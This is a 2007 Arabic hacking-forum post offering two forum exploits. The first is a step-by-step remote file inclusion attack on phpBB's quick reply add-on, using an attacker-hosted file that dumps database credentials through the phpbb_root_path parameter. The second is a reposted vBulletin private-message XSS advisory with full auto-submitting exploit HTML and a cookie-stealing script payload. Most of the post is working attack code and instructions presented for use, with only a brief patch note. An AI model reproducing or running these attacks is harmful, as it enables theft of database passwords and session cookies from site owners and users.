الشبح عضو جديد
عدد الرسائل : 2 العمر : 45 تاريخ التسجيل : 06/11/2007
| موضوع: اختراق المنتديات BBHP الثلاثاء نوفمبر 06, 2007 7:25 am | |
| __________________________________________________ تفضلو ثغرة في هاك الرد السريع منتدى PHPBB عند تركيبك لهاك الرد السريع سوف تجد هذا الكود if ( $mode == 'smilies' ) { define('IN_PHPBB', true); include($phpbb_root_path . 'extension.inc'); include($phpbb_root_path . 'common.'.$phpEx); include($phpbb_root_path . 'includes/functions_post.'.$phpEx); generate_smilies('window', PAGE_POSTING); exit; } دقق جيدا بهذا الكود ثم أنشاء ملف جديد سمه extension.inc وضع داخلها مثلا شفرة <?php include('config'.'.php'); echo "DB Type: $dbms <br>"; echo "DB Host: $dbhost <br>"; echo "DB Name: $dbname <br>"; echo "DB User: $dbuser <br>"; echo "DB Pass: $dbpasswd <br>"; exit; ?> يمكنك وض الخيارات التي تود مشاهدتها من الهاك الآن وبكل سهولة بعد تنزيل extension.inc الى موقع يدعم البي اتش بي أتجه الى هذا العنوان URL: http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your Server]/&mode=smiles بسهولة أستبدل [phpBB_Forum] بعنوان المنتدى المستهدف [Your Server] بعنوان الموقع الذي قمت بوضع الملف اللذي أنشائناه به ماذا ترى؟؟؟ معلومات قاعدة البيانات بين ايديك الحل لهذه الثغرة الخطيرة والتي شردت الكثير من المنتديات : ببساطة أفتح الملف quick_reply.php أبحث عن if ( $mode == 'smilies' ) أَضف بعدها مباشرة phpbb_root_path = "./"; وانشاءالله انحلت المشكلة _________________ ثغره جديده في منتديات الvb ________________________ أرجوا عدم استخدام الثغرة على المسلمين وفيما يظر بالإسلام وفيما حرمه الله لكن هذي كانت على النسخة التجريبية Beta بالنسبة للثغرة فهي واضحة وهي تستغل عن طريق الرسائل private.php وتقوم بسرقة الكوكيز ولكن بشرط يكون مفعل كود الهتمل في المنتدى وصاحب الثغرة يذكر انه قد يكون من الضروري تسجيل الدخول لك طبعا استغلالها عن طريق تحويل الكود لملف html مع تغيير اسم الموقع ومجلد المنتدى http://[victim]/forum/private.php PHP: -------------------------------------------------------------------------------- From: Ferruh Mavituna Subject: VBulletin Preview Message&nbs p;- XSS Vuln --------------------------------------- --------------- VBulletin Private Message&nbs p;"Preview Message" XSS Vulnerability --------------------------------------- --------------- Any kind of XSS att acks possibility. ----------------------------------------------------- - About VBulletin; ----------------------------------------------------- - PHP Based Popular Forum& nbsp;Application Vendor & Demo; <a href="http://www.vbulletin.com/" target="_blank"><a href="http://www.vbulletin.com/" target="_blank">http://www.vbulletin.com/</a></a> --------------------------------------- --------------- Vulnerable; ----------------------------------------------------- - vBulletin 3.0.0 Beta 2 < br />vBulletin 2.x --------------------------------------- --------------- ----------------------------------------------------- - Vendor Status; ----------------------------------------------------- - I can not contact v endor for this issue ! No patch available at&nb sp;the moment; ----------------------------------------------------- - Solution; ----------------------------------------------------- - HTML Encoding like post& nbsp;thread preview page; ----------------------------------------------------- - Exploit Code; ----------------------------------------------------- - <html> <body> <form action="http://[victim]/forum/private.php"&nbs p;method="post" name="vbform"> <input type="hidden" name="do" value="insertpm" /> <input type="hidden" name="pmid" value="" /> <input type="hidden" name="forward" value="" /> <input type="hidden" name="receipt" value="0" /> <input type="text" class="bginput" name="title" value="" size="40" tabindex="2" /> <textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea> <input type="submit" class="button" name="sbutton" value="Post Message" accesskey="s" tabindex="4" /> <input type="submit" class="button" value="Preview Message" accesskey="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5" > <input type="checkbox" name="savecopy" value="1" id="cb_savecopy" checked="checked" /> <input type="checkbox" name="signature" value="1" id="cb_signature" /> <input type="checkbox" name="parseurl" value="1" id="cb_parseurl" checked="checked" /> <input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" /> </form> <script> //Set Values and Submit // You can write your own JS codes var xss = "\"><script>alert(document.coo kie)</script>"; document.vbform.title.value=xss; document.vbform.preview.click(); </script> </body> </html> *You may need login first Ferruh Mavituna Web Application Security Consultant Freelance Developer & Designer <a href="http://ferruh.mavituna.com" target="_blank"><a href="http://ferruh.mavituna.com" target="_blank">http://ferruh.mavituna.com</a></a> - تم حذف البريد تلقائياً للأسباب إدارية -
| |
|